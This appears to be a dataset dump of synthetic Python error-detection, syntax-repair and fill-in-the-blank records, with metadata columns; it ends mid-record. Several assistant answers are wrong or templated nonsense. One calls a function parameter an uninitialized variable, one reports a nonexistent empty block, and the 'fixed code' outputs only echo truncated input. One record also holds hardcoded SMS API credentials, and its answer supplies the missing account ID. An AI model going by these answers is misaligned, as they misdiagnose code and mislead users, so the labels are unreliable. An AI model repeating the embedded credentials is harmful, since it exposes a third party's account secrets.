[{"role": "user", "content": "Find the logical error in this Pythoncode:Python code:\nimport FWCore.ParameterSet.Config as cms\n\n# handle normal mixing or premixing\ndef getHcalDigitizer(process):\n if hasattr(process,'mixData'):\n return process.mixData\n if hasattr(process,'mix') and hasattr(process.mix,'digitizers') and hasattr(process.mix.digitizers,'hcal'):\n return process.mix.digitizers.hcal\n return None\n\ndef getHGCalDigitizer(process,section):\n if hasattr(process,'mix') and hasattr(process.mix,'digitizers'):\n result = section + 1 # BUG: using before init\n if section == 'EE' and hasattr(process.mix.digitizers,'hgceeDigitizer'):\n return process.mix.digitizers.hgceeDigitizer\n elif section == 'FH' and hasattr(process.mix.digitizers,'hgchefrontDigitizer'):\n return process.mix.digitizers.hgchefrontDigitizer\n elif section == 'BH' and hasattr(process.mix.digitizers,'hgchebackDigitizer'):\n return process.mix.digitizers.hgchebackDigitizer\n elif section == 'HFNose' and hasattr(process.mix.digitizers,'hfnoseDigitizer'):\n return process.mix.digitizers.hfnoseDigitizer\n return None\n\n# change assumptions about lumi rate\ndef setScenarioHLLHC(module,scenarioHLLHC):\n if scenarioHLLHC==\"nominal\":\n from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import _years_LHC, _years_HLLHC_nominal\n module.years = _years_LHC + _years_HLLHC_nominal\n elif scenarioHLLHC==\"ultimate\":\n from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import _years_LHC, _years_HLLHC_ultimate\n module.years = _years_LHC + _years_HLLHC_ultimate\n return module\n\n# turnon = True enables default, False disables\n# recalibration and darkening always together\ndef ageHB(process,turnon,scenarioHLLHC):\n if turnon:\n from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import HBDarkeningEP\n process.HBDarkeningEP = HBDarkeningEP\n process.HBDarkeningEP = setScenarioHLLHC(process.HBDarkeningEP,scenarioHLLHC)\n hcaldigi = getHcalDigitizer(process)\n if hcaldigi is not None: hcaldigi.HBDarkening = cms.bool(turnon)\n if hasattr(process,'es_hardcode'):\n process.es_hardcode.HBRecalibration = cms.bool(turnon)\n return process\n\ndef ageHE(process,turnon,scenarioHLLHC):\n if turnon:\n from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import HEDarkeningEP\n process.HEDarkeningEP = HEDarkeningEP\n process.HEDarkeningEP = setScenarioHLLHC(process.HEDarkeningEP,scenarioHLLHC)\n hcaldigi = getHcalDigitizer(process)\n if hcaldigi is not None: hcaldigi.HEDarkening = cms.bool(turnon)\n if hasattr(process,'es_hardcode'):\n process.es_hardcode.HERecalibration = cms.bool(turnon)\n return process\n\ndef ageHF(process,turnon):\n hcaldigi = getHcalDigitizer(process)\n if hcaldigi is not None: hcaldigi.HFDarkening = cms.bool(turnon)\n if hasattr(process,'es_hardcode'):\n process.es_hardcode.HFRecalibration = cms.bool(turnon)\n return process\n\n\n ... [20 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Logical Error Analysis:\n\n Error Type: UNINITIALIZED_VAR\n Issue: Using variable \"section\" before initialization\n Severity: CRITICAL\n\n Location: Line 13\n\n Explanation: Variable used before assignment - will raise NameError\n Fix: Initialize variable before using it"}]
| true
|
logical
|
UNINITIALIZED_VAR
|
CRITICAL
|
868dd7b75196bf80f589754ce91dc36872de638a
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: import numpy as np import xml.etree.ElementTree as ET class Geom(object): def __init__(self, geom): self.xml = geom self.params = [] def get_params(self): return self.params.copy() def set_params(self, new_params): self.params = new_params def update_point(self, p, new_params): pass def update_xml(self): pass def update(self, new_params): self.set_params(new_params) self.update_xml() def get_smallest_z(self): pass def get_param_limits(self): pass def get_param_names(self): pass def get_volume(self): pass class Sphere(Geom): min_radius = .05 max_radius = .4 def __init__(self, geom): self.xml = geom self.params = [float(self.xml.get('size'))] # radius self.center = np.array([float(x) for x in self.xml.get('pos').split()]) def update_point(self, p, new_params): return ((p - self.center) * new_params[0] / self.params[0]) + self.center def update_xml(self): self.xml.set('size', str(self.params[0])) def get_smallest_z(self): return self.center[2] - self.params[0] def get_param_limits(self): return [[self.min_radius], [self.max_radius]] def get_param_names(self): return ['radius'] def get_volume(self): return 4./3. * np.pi * self.params[0] ** 3 class Capsule(Geom): min_length = 0.175 max_length = 0.8 min_radius = 0.035 max_radius = 0.085 def __init__(self, geom): self.xml = geom fromto = [float(x) for x in self.xml.get('fromto').split()] self.p1 = np.array(fromto[:
|
Syntax Analysis: Syntax Errors Found: • Unclosed '(' at line 73 - expected ')' • Unclosed '[' at line 73 - expected ']' • Block at line 73 has no body - expected indented block Fixes: • Add closing ')' bracket • Add closing ']' bracket • Add block body or use 'pass' statement
|
advanced
|
machine_learning
|
syntax_repair
|
Pythoncode:Python
| 24
| 3
| 1,688
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\nimport numpy as np\nimport xml.etree.ElementTree as ET\n\nclass Geom(object):\n def __init__(self, geom):\n self.xml = geom\n self.params = []\n\n def get_params(self):\n return self.params.copy()\n\n def set_params(self, new_params):\n self.params = new_params\n\n def update_point(self, p, new_params):\n pass\n\n def update_xml(self):\n pass\n\n def update(self, new_params):\n self.set_params(new_params)\n self.update_xml()\n\n def get_smallest_z(self):\n pass\n\n def get_param_limits(self):\n pass\n\n def get_param_names(self):\n pass\n\n def get_volume(self):\n pass\n\nclass Sphere(Geom):\n min_radius = .05\n max_radius = .4\n\n def __init__(self, geom):\n self.xml = geom\n self.params = [float(self.xml.get('size'))] # radius\n self.center = np.array([float(x) for x in self.xml.get('pos').split()])\n\n def update_point(self, p, new_params):\n return ((p - self.center) * new_params[0] / self.params[0]) + self.center\n\n def update_xml(self):\n self.xml.set('size', str(self.params[0]))\n\n def get_smallest_z(self):\n return self.center[2] - self.params[0]\n\n def get_param_limits(self):\n return [[self.min_radius], [self.max_radius]]\n\n def get_param_names(self):\n return ['radius']\n\n def get_volume(self):\n return 4./3. * np.pi * self.params[0] ** 3\n\nclass Capsule(Geom):\n min_length = 0.175\n max_length = 0.8\n min_radius = 0.035\n max_radius = 0.085\n\n def __init__(self, geom):\n self.xml = geom\n fromto = [float(x) for x in self.xml.get('fromto').split()]\n self.p1 = np.array(fromto[:"}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 Unclosed '(' at line 73 - expected ')'\n \u2022 Unclosed '[' at line 73 - expected ']'\n \u2022 Block at line 73 has no body - expected indented block\n\n Fixes:\n \u2022 Add closing ')' bracket\n \u2022 Add closing ']' bracket\n \u2022 Add block body or use 'pass' statement"}]
| true
|
syntax
|
MID_STRING
|
CRITICAL
|
868de8e68215f41c7a22fbffe3549ae81cd16557
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: ''' Load User Middleware''' from masonite.facades.Auth import Auth class LoadUserMiddleware: ''' Middleware class which loads the current user into the request ''' def __init__(self, Request): ''' Inject Any Dependencies From T ... code continues ...
|
Completion: Missing: Code truncated abruptly - unexpected end of file To complete: • Complete the truncated code structure Example continuation: self.request = Request def before(self): ''' Run This Middleware Before The Route Executes ''' self.load_user(self.request)
|
advanced
|
api
|
incomplete_code
|
Pythoncode:Python
| 4
| 1
| 245
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\n''' Load User Middleware'''\nfrom masonite.facades.Auth import Auth\n\nclass LoadUserMiddleware:\n ''' Middleware class which loads the current user into the request '''\n\n def __init__(self, Request):\n ''' Inject Any Dependencies From T\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Code truncated abruptly - unexpected end of file\n\n To complete:\n \u2022 Complete the truncated code structure\n\n Example continuation:\n self.request = Request\n\n def before(self):\n ''' Run This Middleware Before The Route Executes '''\n self.load_user(self.request)"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
868e31d3b6d09c73dfd001c290d85e56d3f9bb45
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: from minqlx_plugin_test import * import logging import unittest from mockito import * from mockito.matchers import * from hamcrest import * from redis import Redis from merciful_elo_limit import * class MercifulEloLimitTests(unittest.TestCase): def setUp(self): setup_plugin() setup_cvars({ "qlx_mercifulelo_minelo": "800", "qlx_mercifulelo_applicationgames": "10", "qlx_mercifulelo_abovegames": "10", "qlx_mercifulelo_daysbanned": "30", "qlx_owner": "42" }) setup_game_in_progress() self.plugin = merciful_elo_limit() self.reply_channel = mocked_channel() self.plugin.database = Redis self.db = mock(Redis) self.plugin._db_instance = self.db when(self.db).__getitem__(any).thenReturn("42") def tearDown(self): unstub() def setup_balance_ratings(self, player_elos): gametype = None if len(player_elos) > 0: gametype = self.plugin.game.type_short ratings = {} for player, elo in player_elos: ratings[player.steam_id] = {gametype: {'elo': elo}} self.plugin._loaded_plugins["balance"] = mock({'ratings': ratings}) def setup_no_balance_plugin(self): if "balance" in self.plugin._loaded_plugins: del self.plugin._loaded_plugins["balance"] def setup_exception_list(self, players): mybalance_plugin = mock(Plugin) mybalance_plugin.exceptions = [player.steam_id for player in players] self.plugin._loaded_plugins["mybalance"] = mybalance_plugin def test_handle_map_change_resets_tracked_player_ids(self): connected_players() self.setup_balance_ratings([]) self.plugin.tracked_player_sids = [123, 455] self.plugin.handle_map_change("campgrounds", "ca") assert_that(self.plugin.tracked_player_sids, is_([])) def test_handle_map_change_resets_announced_player_ids(self): connected_players() self.setup_balance_ratings([]) self.plugin.announced_player_elos = [123, 455] self.plugin.handle_map_change("campgrounds", "ca") assert_that(self.plugin.an
|
Error Analysis: Error Type: MID_STRING Error: SyntaxError: unterminated string literal Detected Errors: • Unclosed '(' at line 74 - expected ')' • Block at line 15 has no indented body • SyntaxError: '(' was never closed at line 74 Fix: Close the string literal with matching quote
|
advanced
|
testing
|
error_detection
|
Pythoncode:Python
| 8
| 1
| 2,219
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\nfrom minqlx_plugin_test import *\n\nimport logging\nimport unittest\n\nfrom mockito import *\nfrom mockito.matchers import *\nfrom hamcrest import *\n\nfrom redis import Redis\n\nfrom merciful_elo_limit import *\n\n\nclass MercifulEloLimitTests(unittest.TestCase):\n\n def setUp(self):\n setup_plugin()\n setup_cvars({\n \"qlx_mercifulelo_minelo\": \"800\",\n \"qlx_mercifulelo_applicationgames\": \"10\",\n \"qlx_mercifulelo_abovegames\": \"10\",\n \"qlx_mercifulelo_daysbanned\": \"30\",\n \"qlx_owner\": \"42\"\n })\n\n setup_game_in_progress()\n self.plugin = merciful_elo_limit()\n self.reply_channel = mocked_channel()\n\n self.plugin.database = Redis\n self.db = mock(Redis)\n self.plugin._db_instance = self.db\n\n when(self.db).__getitem__(any).thenReturn(\"42\")\n\n def tearDown(self):\n unstub()\n\n def setup_balance_ratings(self, player_elos):\n gametype = None\n if len(player_elos) > 0:\n gametype = self.plugin.game.type_short\n ratings = {}\n for player, elo in player_elos:\n ratings[player.steam_id] = {gametype: {'elo': elo}}\n self.plugin._loaded_plugins[\"balance\"] = mock({'ratings': ratings})\n\n def setup_no_balance_plugin(self):\n if \"balance\" in self.plugin._loaded_plugins:\n del self.plugin._loaded_plugins[\"balance\"]\n\n def setup_exception_list(self, players):\n mybalance_plugin = mock(Plugin)\n mybalance_plugin.exceptions = [player.steam_id for player in players]\n self.plugin._loaded_plugins[\"mybalance\"] = mybalance_plugin\n\n def test_handle_map_change_resets_tracked_player_ids(self):\n connected_players()\n self.setup_balance_ratings([])\n self.plugin.tracked_player_sids = [123, 455]\n\n self.plugin.handle_map_change(\"campgrounds\", \"ca\")\n\n assert_that(self.plugin.tracked_player_sids, is_([]))\n\n def test_handle_map_change_resets_announced_player_ids(self):\n connected_players()\n self.setup_balance_ratings([])\n self.plugin.announced_player_elos = [123, 455]\n\n self.plugin.handle_map_change(\"campgrounds\", \"ca\")\n\n assert_that(self.plugin.an"}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: MID_STRING\n Error: SyntaxError: unterminated string literal\n\n Detected Errors:\n \u2022 Unclosed '(' at line 74 - expected ')'\n \u2022 Block at line 15 has no indented body\n \u2022 SyntaxError: '(' was never closed at line 74\n\n Fix: Close the string literal with matching quote"}]
| true
|
syntax
|
MID_STRING
|
CRITICAL
|
868eb825011495edcc58f16f21e6e75e8ab1abc6
|
TheStack--python--000.parquet
|
Fill in the in this Pythoncode:Python code: from ronglian_sms_sdk import SmsSDK from celery_tasks.main import app # 写我们的任务（函数） # 任务必须要celery的实例对象装饰器task装饰 # 任务包的任务需要celery调用自检检查函数。(在main里面写。) @app.task def celery_send_sms_code(mobile, sms_code): # Complete this line accToken = '514a8783b8c2481ebbeb6a814434796f' appId = '8a216da8762cb4570176c605948c35f2' # 9.1. 创建荣联云 实例对象 sdk = SmsSDK(accId, accToken, appId) tid = '1' # 我们发送短信的模板,值 只能是 1 因为我们是测试用户 mobile = '%s' % mobile # '手机号1,手机号2' 给哪些手机号发送验证码,只能是测试手机号 datas = (sms_code, 10) # ('变量1', '变量2') 涉及到模板的变量 # 您的验证码为{1},请于{2} 分钟内输入 # 您的验证码为666999,请于5 分钟内输入 # 9.2. 发送短信 sdk.sendMessage(tid, mobile, datas)
|
The missing line is: accId = '8a216da8762cb4570176c60593ba35ec'
|
intermediate
|
machine_learning
|
fill_in_the_blank
|
Pythoncode:Python
| 1
| 0
| 689
| true
|
[{"role": "user", "content": "Fill in the in this Pythoncode:Python code:\nfrom ronglian_sms_sdk import SmsSDK\nfrom celery_tasks.main import app\n# \u5199\u6211\u4eec\u7684\u4efb\u52a1\uff08\u51fd\u6570\uff09\n# \u4efb\u52a1\u5fc5\u987b\u8981celery\u7684\u5b9e\u4f8b\u5bf9\u8c61\u88c5\u9970\u5668task\u88c5\u9970\n# \u4efb\u52a1\u5305\u7684\u4efb\u52a1\u9700\u8981celery\u8c03\u7528\u81ea\u68c0\u68c0\u67e5\u51fd\u6570\u3002(\u5728main\u91cc\u9762\u5199\u3002)\n\n@app.task\ndef celery_send_sms_code(mobile, sms_code):\n # Complete this line\n accToken = '514a8783b8c2481ebbeb6a814434796f'\n appId = '8a216da8762cb4570176c605948c35f2'\n\n # 9.1. \u521b\u5efa\u8363\u8054\u4e91 \u5b9e\u4f8b\u5bf9\u8c61\n sdk = SmsSDK(accId, accToken, appId)\n tid = '1' # \u6211\u4eec\u53d1\u9001\u77ed\u4fe1\u7684\u6a21\u677f,\u503c \u53ea\u80fd\u662f 1 \u56e0\u4e3a\u6211\u4eec\u662f\u6d4b\u8bd5\u7528\u6237\n mobile = '%s' % mobile # '\u624b\u673a\u53f71,\u624b\u673a\u53f72' \u7ed9\u54ea\u4e9b\u624b\u673a\u53f7\u53d1\u9001\u9a8c\u8bc1\u7801,\u53ea\u80fd\u662f\u6d4b\u8bd5\u624b\u673a\u53f7\n datas = (sms_code, 10) # ('\u53d8\u91cf1', '\u53d8\u91cf2') \u6d89\u53ca\u5230\u6a21\u677f\u7684\u53d8\u91cf\n # \u60a8\u7684\u9a8c\u8bc1\u7801\u4e3a{1},\u8bf7\u4e8e{2} \u5206\u949f\u5185\u8f93\u5165\n # \u60a8\u7684\u9a8c\u8bc1\u7801\u4e3a666999,\u8bf7\u4e8e5 \u5206\u949f\u5185\u8f93\u5165\n # 9.2. \u53d1\u9001\u77ed\u4fe1\n sdk.sendMessage(tid, mobile, datas)"}, {"role": "assistant", "content": "The missing line is:\n accId = '8a216da8762cb4570176c60593ba35ec'"}]
| false
| null | null | null |
868f0e1cedcadcbc2d277dd9469765ca291fed6d
|
TheStack--python--000.parquet
|
Fix this broken Pythoncode:Python code: import sublime_plugin class MethodDeclaration(object): """docstring for MethodDeclaration""" def __init__(self): self._methodclass = None self.has_implementation = False self.has_interface = False @property def has_implementation(self): return self._has_implementation @has_implementation.setter def has_implementation(self, value): self._has_implementation = value @property def has_interface(self): return self._has_interface @has_interface.setter def has_interface(self, value): self._has_interface = value @property def methodname(self): return self._methodname @methodname.setter def methodname(self, value): self._methodname = value @property def methodregion(self): return self._methodregion @methodregion.setter def methodregion(self, value): self._methodregion = value @property def visibility(self): return self._visibility @visibility.setter def visibility(self, value): self._visibility = value @property def params(self): return self._params @params.setter def params(self, value): self._params = value @property def methodclass(self): return self._methodclass @methodclass.setter def methodclass(self, value): self._methodclass = value class ClassDeclaration(object): """docstring for ClassDeclaration""" @property def classname(self): return self._classname @classname.setter def classname(self, value): self._classname = value @property def classregion(self): return self._classregion @classregion.setter def classregion(self, value): self._classregion = value @property def privateregion(self): return self._privateregion @privateregion.setter def privateregion(self, value): self._privateregion = value @property def protectedregion(self): return self._protectedregion @protectedregion.setter def protectedregion(self, value): self._protectedregion = value @property def publicregion(self): return self._publicregion @publicregion.setter def publicregion(self, value): self._publicregion = value @property def publishedregion(self): return self._publishedregion @publishedregion.setter def publishedregion(self, value): self._publishedregion = value class DelphiIdeCommand(sublime_plugin.TextCommand): # // { "keys": ["ctrl+shift+x"], "command": "delphi_ide", "args": {"teste": "delphimethodnav"}} # view.window().run_command('show_panel', # args={"panel": 'output.find_results', "toggle": True}) ... [7 more functiondefs tru Error: SyntaxError: unterminated string literal
|
Fixed Code: import sublime_plugin class MethodDeclaration(object): """docstring for MethodDeclaration""" def __init__(self): self._methodclass = None self.has_implementation = False self.has_interface = False @property def has_implementation(self): return self._has_implementation @has_implementation.setter def has_implementation(self, value): self._has_implementation = value @property Explanation: Close the string literal with matching quote
|
advanced
|
testing
|
error_fixing
|
Pythoncode:Python
| 27
| 3
| 2,849
| true
|
[{"role": "user", "content": "Fix this broken Pythoncode:Python code:\nimport sublime_plugin\n\n\nclass MethodDeclaration(object):\n \"\"\"docstring for MethodDeclaration\"\"\"\n\n def __init__(self):\n self._methodclass = None\n self.has_implementation = False\n self.has_interface = False\n\n @property\n def has_implementation(self):\n return self._has_implementation\n\n @has_implementation.setter\n def has_implementation(self, value):\n self._has_implementation = value\n\n @property\n def has_interface(self):\n return self._has_interface\n\n @has_interface.setter\n def has_interface(self, value):\n self._has_interface = value\n\n @property\n def methodname(self):\n return self._methodname\n\n @methodname.setter\n def methodname(self, value):\n self._methodname = value\n\n @property\n def methodregion(self):\n return self._methodregion\n\n @methodregion.setter\n def methodregion(self, value):\n self._methodregion = value\n\n @property\n def visibility(self):\n return self._visibility\n\n @visibility.setter\n def visibility(self, value):\n self._visibility = value\n\n @property\n def params(self):\n return self._params\n\n @params.setter\n def params(self, value):\n self._params = value\n\n @property\n def methodclass(self):\n return self._methodclass\n\n @methodclass.setter\n def methodclass(self, value):\n self._methodclass = value\n\n\nclass ClassDeclaration(object):\n \"\"\"docstring for ClassDeclaration\"\"\"\n\n @property\n def classname(self):\n return self._classname\n\n @classname.setter\n def classname(self, value):\n self._classname = value\n\n @property\n def classregion(self):\n return self._classregion\n\n @classregion.setter\n def classregion(self, value):\n self._classregion = value\n\n @property\n def privateregion(self):\n return self._privateregion\n\n @privateregion.setter\n def privateregion(self, value):\n self._privateregion = value\n\n @property\n def protectedregion(self):\n return self._protectedregion\n\n @protectedregion.setter\n def protectedregion(self, value):\n self._protectedregion = value\n\n @property\n def publicregion(self):\n return self._publicregion\n\n @publicregion.setter\n def publicregion(self, value):\n self._publicregion = value\n\n @property\n def publishedregion(self):\n return self._publishedregion\n\n @publishedregion.setter\n def publishedregion(self, value):\n self._publishedregion = value\n\n\nclass DelphiIdeCommand(sublime_plugin.TextCommand):\n # // { \"keys\": [\"ctrl+shift+x\"], \"command\": \"delphi_ide\", \"args\": {\"teste\": \"delphimethodnav\"}}\n # view.window().run_command('show_panel',\n # args={\"panel\": 'output.find_results', \"toggle\": True})\n\n\n ... [7 more functiondefs tru\n\n Error: SyntaxError: unterminated string literal"}, {"role": "assistant", "content": " Fixed Code:\n\n\nimport sublime_plugin\n\n\nclass MethodDeclaration(object):\n \"\"\"docstring for MethodDeclaration\"\"\"\n\n def __init__(self):\n self._methodclass = None\n self.has_implementation = False\n self.has_interface = False\n\n @property\n def has_implementation(self):\n return self._has_implementation\n\n @has_implementation.setter\n def has_implementation(self, value):\n self._has_implementation = value\n\n @property\n\n Explanation: Close the string literal with matching quote"}]
| true
|
syntax
|
MID_STRING
|
CRITICAL
|
868f63854096baf68c5ff8cc2009603138d30b30
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: # Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== def _createKerasModel(layer_name_prefix, h5_path=None): """Create a Keras model for testing. Args: layer_name_prefix: A prefix string for layer names. This helps avoid clashes in layer names bet
|
Error Analysis: Error Type: HARD_CUT Error: SyntaxError / EOF Detected Errors: • Unterminated string literal at line 16 • SyntaxError: unterminated triple-quoted string literal (detected at line 20) at line 16 Fix: Complete the truncated code structure
|
intermediate
|
testing
|
error_detection
|
Pythoncode:Python
| 2
| 0
| 864
| false
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\n# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\ndef _createKerasModel(layer_name_prefix, h5_path=None):\n \"\"\"Create a Keras model for testing.\n\n Args:\n layer_name_prefix: A prefix string for layer names. This helps avoid\n clashes in layer names bet"}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: HARD_CUT\n Error: SyntaxError / EOF\n\n Detected Errors:\n \u2022 Unterminated string literal at line 16\n \u2022 SyntaxError: unterminated triple-quoted string literal (detected at line 20) at line 16\n\n Fix: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
86920ec1c0159b8548b81683e13e218d1875aaf1
|
TheStack--python--000.parquet
|
Fill in the in this Pythoncode:Python code: # -*- coding: UTF-8 -*- import os, re, shutil, time, xbmc from resources.lib.modules import control def currSkin(): return control.skin def getOld(old): try: old = '"%s"' % old query = '{"jsonrpc":"2.0", "method":"Settings.GetSettingValue","params":{"setting":%s}, "id":1}' % (old) response = control.jsonrpc(query) response = simplejson.loads(response) if response.has_key('result'): if response['result'].has_key('value'): return response ['result']['value'] except: pass return None def setNew(new, value): try: new = '"%s"' % new value = '"%s"' % value query = '{"jsonrpc":"2.0", "method":"Settings.SetSettingValue","params":{"setting":%s,"value":%s}, "id":1}' % (new, value) response = control.jsonrpc(query) except: pass return None def swapSkins(skin): old = 'lookandfeel.skin' # Complete this line current = getOld(old) new = old setNew(new, value) def lookandFeelData(do='save'): scan = ['lookandfeel.enablerssfeeds', 'lookandfeel.font', 'lookandfeel.rssedit', 'lookandfeel.skincolors', 'lookandfeel.skintheme', 'lookandfeel.skinzoom', 'lookandfeel.soundskin', 'lookandfeel.startupwindow', 'lookandfeel.stereostrength'] if do == 'save': for item in scan: query = '{"jsonrpc":"2.0", "method":"Settings.GetSettingValue","params":{"setting":"%s"}, "id":1}' % (item) response = control.jsonrpc(query) if not 'error' in response: match = re.compile('{"value":(.+?)}').findall(str(response)) control.setSetting(item.replace('lookandfeel', 'default'), match[0]) control.log("%s saved to %s" % (item, match[0])) else: for item in scan: value = setting(item.replace('lookandfeel', 'default')) query = '{"jsonrpc":"2.0", "method":"Settings.SetSettingValue","params":{"setting":"%s","value":%s}, "id":1}' % (item, value) response = control.jsonrpc(query) control.log("%s restored to %s" % (item, value)) ... [2 more functiondefs truncated] ...
|
The missing line is: value = skin
|
intermediate
|
database
|
fill_in_the_blank
|
Pythoncode:Python
| 5
| 0
| 2,176
| true
|
[{"role": "user", "content": "Fill in the in this Pythoncode:Python code:\n# -*- coding: UTF-8 -*-\n\nimport os, re, shutil, time, xbmc\nfrom resources.lib.modules import control\ndef currSkin():\n return control.skin\n\n\ndef getOld(old):\n try:\n old = '\"%s\"' % old\n query = '{\"jsonrpc\":\"2.0\", \"method\":\"Settings.GetSettingValue\",\"params\":{\"setting\":%s}, \"id\":1}' % (old)\n response = control.jsonrpc(query)\n response = simplejson.loads(response)\n if response.has_key('result'):\n if response['result'].has_key('value'):\n return response ['result']['value']\n except:\n pass\n return None\n\n\ndef setNew(new, value):\n try:\n new = '\"%s\"' % new\n value = '\"%s\"' % value\n query = '{\"jsonrpc\":\"2.0\", \"method\":\"Settings.SetSettingValue\",\"params\":{\"setting\":%s,\"value\":%s}, \"id\":1}' % (new, value)\n response = control.jsonrpc(query)\n except:\n pass\n return None\n\n\ndef swapSkins(skin):\n old = 'lookandfeel.skin'\n # Complete this line\n current = getOld(old)\n new = old\n setNew(new, value)\n\n\ndef lookandFeelData(do='save'):\n scan = ['lookandfeel.enablerssfeeds', 'lookandfeel.font', 'lookandfeel.rssedit', 'lookandfeel.skincolors', 'lookandfeel.skintheme', 'lookandfeel.skinzoom', 'lookandfeel.soundskin', 'lookandfeel.startupwindow', 'lookandfeel.stereostrength']\n if do == 'save':\n for item in scan:\n query = '{\"jsonrpc\":\"2.0\", \"method\":\"Settings.GetSettingValue\",\"params\":{\"setting\":\"%s\"}, \"id\":1}' % (item)\n response = control.jsonrpc(query)\n if not 'error' in response:\n match = re.compile('{\"value\":(.+?)}').findall(str(response))\n control.setSetting(item.replace('lookandfeel', 'default'), match[0])\n control.log(\"%s saved to %s\" % (item, match[0]))\n else:\n for item in scan:\n value = setting(item.replace('lookandfeel', 'default'))\n query = '{\"jsonrpc\":\"2.0\", \"method\":\"Settings.SetSettingValue\",\"params\":{\"setting\":\"%s\",\"value\":%s}, \"id\":1}' % (item, value)\n response = control.jsonrpc(query)\n control.log(\"%s restored to %s\" % (item, value))\n\n\n\n ... [2 more functiondefs truncated] ..."}, {"role": "assistant", "content": "The missing line is:\n value = skin"}]
| false
| null | null | null |
869310d00b7b8dcf8e18a56efd569e5ae8396471
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: class CharacteristicError(Exception): """Generic exception class for characteristic errors.""" class Characteristic: """Represents a HAP characteristic, the smallest unit of the smart home. A HAP characteristic is some measurement or state, like battery status or the current temperature. Characteristics are contained in services. Each characteristic has a unique type UUID and a set of properties, like format, min and max values, valid values and others. """ __slots__ = ( "broker", "display_name", "properties", "type_id", "value", "getter_callback", "setter_callback", "service", "_uuid_str", "_loader_display_name", ) def __init__(self, display_name, type_id, properties): """Initialise with the given properties. :param display_name: Name that will be displayed for this characteristic, i.e. the `description` in the HAP representation. :type display_name: str :param type_id: UUID unique to this type of characteristic. :type type_id: uuid.UUID :param properties: A dict of properties, such as Format, ValidValues, etc. :type properties: dict """ self.broker = None self.display_name = display_name self.properties = properties self.type_id = type_id self.value = self._get_default_value() self.getter_callback = None self.setter_callback = None self.service = None self._uuid_str = uuid_to_hap_type(type_id) self._loader_display_name = None def __repr__(self): """Return the representation of the characteristic.""" return "<characteristic display_name={} value={} properties={}>".format( self.display_name, self.value, self.properties ) def _get_default_value(self): """Return default value for format.""" if self.properties.get(PROP_VALID_VALUES): return min(self.properties[PROP_VALID_VALUES].values()) value = HAP_FORMAT_DEFAULTS[self.properties[PROP_FORMAT]] return self.to_valid_value(value) def get_value(self): """This is to allow for calling `getter_callback` :return: Current Characteristic Value """ if self.getter_callback: #
|
Syntax Analysis: Syntax Errors Found: • Unterminated string literal at line 6 • IndentationError at line 72 Fixes: • Add closing quote at line 6 • Fix indentation to match Python syntax rules
|
advanced
|
database
|
syntax_repair
|
Pythoncode:Python
| 4
| 2
| 2,384
| false
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\nclass CharacteristicError(Exception):\n \"\"\"Generic exception class for characteristic errors.\"\"\"\n\n\nclass Characteristic:\n \"\"\"Represents a HAP characteristic, the smallest unit of the smart home.\n\n A HAP characteristic is some measurement or state, like battery status or\n the current temperature. Characteristics are contained in services.\n Each characteristic has a unique type UUID and a set of properties,\n like format, min and max values, valid values and others.\n \"\"\"\n\n __slots__ = (\n \"broker\",\n \"display_name\",\n \"properties\",\n \"type_id\",\n \"value\",\n \"getter_callback\",\n \"setter_callback\",\n \"service\",\n \"_uuid_str\",\n \"_loader_display_name\",\n )\n\n def __init__(self, display_name, type_id, properties):\n \"\"\"Initialise with the given properties.\n\n :param display_name: Name that will be displayed for this\n characteristic, i.e. the `description` in the HAP representation.\n :type display_name: str\n\n :param type_id: UUID unique to this type of characteristic.\n :type type_id: uuid.UUID\n\n :param properties: A dict of properties, such as Format,\n ValidValues, etc.\n :type properties: dict\n \"\"\"\n self.broker = None\n self.display_name = display_name\n self.properties = properties\n self.type_id = type_id\n self.value = self._get_default_value()\n self.getter_callback = None\n self.setter_callback = None\n self.service = None\n self._uuid_str = uuid_to_hap_type(type_id)\n self._loader_display_name = None\n\n def __repr__(self):\n \"\"\"Return the representation of the characteristic.\"\"\"\n return \"<characteristic display_name={} value={} properties={}>\".format(\n self.display_name, self.value, self.properties\n )\n\n def _get_default_value(self):\n \"\"\"Return default value for format.\"\"\"\n if self.properties.get(PROP_VALID_VALUES):\n return min(self.properties[PROP_VALID_VALUES].values())\n\n value = HAP_FORMAT_DEFAULTS[self.properties[PROP_FORMAT]]\n return self.to_valid_value(value)\n\n def get_value(self):\n \"\"\"This is to allow for calling `getter_callback`\n\n :return: Current Characteristic Value\n \"\"\"\n if self.getter_callback:\n #"}, {"role": "assistant", "content": " Syntax 